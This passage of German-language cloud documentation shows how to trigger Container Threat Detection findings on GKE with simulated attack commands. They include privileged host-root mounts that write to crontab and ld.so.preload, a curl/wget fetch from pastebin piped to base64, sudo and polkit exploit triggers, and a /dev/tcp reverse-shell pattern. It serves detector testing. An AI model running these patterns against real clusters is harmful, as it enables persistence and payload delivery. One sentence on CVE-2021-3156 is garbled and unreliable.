   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Mit diesem Testverfahren wird ein Ergebnis des Typs „Verdächtige Cron-Änderung“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Ausführung: Verdächtiges freigegebenes OpenSSL-Objekt geladen

Um einen Execution: Suspicious OpenSSL Shared Object Loaded-Befund auszulösen, führen Sie den Befehl openssl engine mit einem Argument aus, das eine Datei ist, die mit der Erweiterung .so endet. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/openssl umbenannt. Diese umbenannte Binärdatei wird dann mit den Argumenten engine und der gefälschten .so-Datei ausgeführt. Die Ausführung von openssl engine mit einer .so-Datei wird als verdächtig gekennzeichnet, da sie das Verhalten eines freigegebenen Objekts nachahmt, das zum Ausführen von schädlichem Code geladen wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie openssl engine mit einem gefälschten Argument für die gemeinsam genutzte Objektbibliothek aus:

x86-Knoten:

tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"

ARM-Knoten:

tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"

Mit diesem Testverfahren wird ein Execution: Suspicious OpenSSL Shared Object Loaded-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet

Wenn Sie ein Ergebnis des Typs Exfiltration: Launch Remote File Copy Tools In Container auslösen möchten, führen Sie ein gängiges Tool zum Kopieren von Remotedateien in einem Container aus. In diesem Beispiel wird das aktuelle Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/rsync umbenannt. Anschließend wird es ausgeführt, um eine Datei von einer potenziell schädlichen Remotequelle abzurufen. Die Ausführung eines solchen Tools mit Argumenten zum Abrufen von Remotedateien in einem Container wird als verdächtig eingestuft, da dies auf einen Versuch hindeuten könnte, schädlichen Code herunterzuladen und auszuführen oder Daten zu exfiltrieren.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie ein Tool zum Kopieren von Dateien auf einem Remotecomputer aus, z. B. rsync:

x86-Knoten:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

ARM-Knoten:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Mit diesem Testverfahren wird ein Exfiltration: Launch Remote File Copy Tools In Container-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkungen: Erkennung schädlicher Cmdline-Dateien

Um einen Impact: Detect Malicious Cmdlines-Befund (Vorschau) auszulösen, muss die Ausführung einer Befehlszeile mit bekannten schädlichen Mustern oder Argumenten in einem Container beobachtet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird das Binärprogramm /bin/ls kopiert und die Kopie in ipfs umbenannt. Das umbenannte Binärprogramm wird dann ausgeführt. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, schädlichen Code auszuführen oder Sicherheitskontrollen zu umgehen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

So führen Sie eine Binärdatei wie ipfs aus:

x86-Knoten:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

ARM-Knoten:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Bei diesem Testverfahren wird ein Impact: Detect Malicious Cmdlines-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkung: Bulk-Entfernung von Daten von Laufwerk

Wenn Sie ein Ergebnis des Typs Impact: Remove Bulk Data From Disk auslösen möchten, platzieren Sie eine Binärdatei, die Daten löschen oder überschreiben kann, in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das aktuelle Ubuntu 24.04-Image verwendet. Dazu wird die /bin/ls-Binärdatei kopiert und die Kopie in shred umbenannt (oder in ein ähnliches Dienstprogramm, das für das sichere Löschen von Dateien entwickelt wurde). Das umbenannte Binärprogramm wird dann ausgeführt. Diese Aktion wird als verdächtig gekennzeichnet, da sie dem Verhalten ähnelt, das häufig beobachtet wird, wenn versucht wird, große Datenmengen von einem Laufwerk in einer containerisierten Umgebung zu entfernen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei zum Löschen von Dateien oder Daten wie shred ein und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

ARM-Knoten:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Mit diesem Testverfahren wird ein Ergebnis des Typs Impact: Remove Bulk Data From Disk erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkung: Verdächtige Cryptomining-Aktivität mit Stratum-Protokoll

Um einen Impact: Suspicious crypto mining activity using the Stratum Protocol-Befund auszulösen, muss eine Binärdatei in einem Container mit Argumenten ausgeführt werden, die denen ähneln, die von Krypto-Mining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert. Im Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt diese Kopie in eine Mock-Binärdatei um (vermutlich, um einen Krypto-Miner zu simulieren). Diese umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die stratum+tcp oder ähnliche Stratum-Protokollindikatoren enthalten. Diese Aktivität wird als verdächtig gekennzeichnet, da sie die Netzwerkkommunikationsmuster von Krypto-Mining-Software in containerisierten Umgebungen nachahmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie ein Dienstprogramm-Binärprogramm wie curl mit Argumenten aus, die denen ähneln, die von Krypto-Mining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert:

x86-Knoten:

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

ARM-Knoten:

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Mit diesem Testverfahren wird ein Impact: Suspicious crypto mining activity using the Stratum Protocol-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Möglicherweise wird auch ein zusätzliches Ergebnis für den Befehl bash angezeigt, den Sie in diesem Test ausführen. Dieses Verhalten ist normal. Sie können den zusätzlichen Befund ignorieren.

Schädliches Script ausgeführt

Wenn Sie ein Ergebnis des Typs „Schädliches Skript ausgeführt“ auslösen möchten, können Sie das Skript im folgenden Verfahren in Ihrem Container ausführen.

Bei diesem Verfahren wird das neueste Ubuntu 24.04-Image bereitgestellt, ein Skript kopiert, das verdächtig erscheint, und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss ein Skript durch den Detektor als schädlich eingestuft werden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie das folgende Script in einem neuen Container aus.

Dieses Inline-Bourne-Shell-Script stammt von einem Honeypot. Es wurde jedoch so geändert, dass die schädliche Binärdatei nicht ausgeführt wird. Wenn Sie das Skript ausführen, werden also keine schädlichen Aktivitäten in Ihrem Container verursacht. Das Binärprogramm unter der angegebenen URL wurde möglicherweise entfernt. Wenn Sie versuchen, der URL zu folgen, wird ein 404-Fehler zurückgegeben. Dies ist zu erwarten. Der Versuch, eine Binärdatei mithilfe eines Inline-Skripts herunterzuladen, zu decodieren und auszuführen, löst die Erkennung aus.

x86-Knoten:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

ARM-Knoten:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Schädliche URL beobachtet

Wenn Sie ein Ergebnis des Typs „Schädliche URL beobachtet“ auslösen möchten, führen Sie eine Binärdatei aus und geben Sie eine schädliche URL als Argument an.

Im folgenden Beispiel wird ein Ubuntu 24.04-Image bereitgestellt und /bin/curl ausgeführt, um über den Safe Browsing-Dienst auf eine Beispiel-Malware-URL zuzugreifen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie curl aus und geben Sie eine schädliche URL als Argument an:

x86-Knoten:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"

ARM-Knoten:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Schädliche URL erkannt“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Persistenz: ld.so.preload ändern (Vorschau)

Wenn Sie die Erkennung von ld.so.preload-Änderungen auslösen möchten, ändern Sie die Datei /etc/ld.so.preload des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Root-Dateisystem des Hosts im Container bereitgestellt und dann /etc/ld.so.preload aktualisiert.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie ein Binärprogramm aus, das die /etc/ld.so.preload-Datei des Hosts ändert.

x86-Knoten:

tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Mit diesem Testverfahren wird ein Ergebnis des Typs „ld.so.preload-Änderung“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging sehen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Rechteausweitung: Missbrauch von Sudo zur Rechteausweitung (CVE-2019-14287)

Wenn Sie ein Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)-Ergebnis auslösen möchten, führen Sie die Binärdatei sudo mit dem Parameter -u#-1 aus. In diesem Beispiel wird die Binärdatei /bin/ls kopiert, um die Binärdatei sudo zu imitieren, und mit dem angegebenen Parameter ausgeführt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

x86-Knoten:

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

ARM-Knoten:

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

Bei diesem Testverfahren wird ein Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Rechteausweitung: Dateilose Ausführung in `/dev/shm`

Damit ein Privilege Escalation: Fileless Execution in /dev/shm-Ergebnis ausgelöst wird, muss ein Prozess über das /dev/shm-In-Memory-Dateisystem ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/echo wird nach /dev/shm/echo kopiert. Diese umbenannte Binärdatei wird dann ausgeführt. Die Ausführung einer Datei unter /dev/shm wird als verdächtig eingestuft, da sie das Verhalten eines Objekts nachahmt, das versucht, im Arbeitsspeicher ausgeführt zu werden, um dateibasierte Erkennungen zu vermeiden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Privilegierten Container erstellen und Programm aus einem In-Memory-Dateisystem ausführen:

x86-Knoten:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"spec": {"containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}]}}' \
   "$tag"

ARM-Knoten:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag"

Mit diesem Testverfahren wird ein Privilege Escalation: Fileless Execution in /dev/shm-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Rechteausweitung: Sicherheitslücke bei der lokalen Rechteausweitung in Polkit (CVE-2021-4034)

Um einen Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)-Befund auszulösen, führen Sie ein pkexec-Binärprogramm mit der Umgebungsvariable GCONV_PATH als Nutzer ohne Root-Berechtigung aus. In diesem Beispiel wird das /bin/ls-Binärprogramm kopiert, um das pkexec-Binärprogramm zu imitieren, und mit dem angegebenen Parameter als Nutzer-ID 1000 ausgeführt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

x86-Knoten:

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

ARM-Knoten:

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }, "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

Bei diesem Testverfahren wird ein Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Rechteausweitung: Mögliche Rechteausweitung durch Sudo (CVE-2021-3156)

Um einen Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)-Befund auszulösen, führen Sie das Binärprogramm sudo als Nicht-Root-Nutzer mit dem Parameter -s und einem Parameter aus, der mit \`. This example copies the/bin/lsbinary to imitate the endet. Das Binärprogramm sudo ruft das Binärprogramm \`. This example copies the/bin/lsbinary to imitate thesudo auf und führt es mit den angegebenen Parametern aus.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

x86-Knoten:

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

ARM-Knoten:

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 },
   "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

Bei diesem Testverfahren wird ein Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Reverse Shell

Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket. In diesem Beispiel wird /bin/echo in /tmp/sh kopiert und dann /tmp/sh mit einer Weiterleitung zum öffentlichen DNS von Google 8.8.8.8 am DNS-Port gestartet. Beim Ausführen dieses Beispiels wird nichts ausgegeben. In diesem Beispiel wird die /bin/sh-Binärdatei nicht verwendet, um zu verhindern, dass ein externer Code durch einen Man-in-the-Middle-Angriff ausgelöst wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

x86-Knoten:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

ARM-Knoten:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
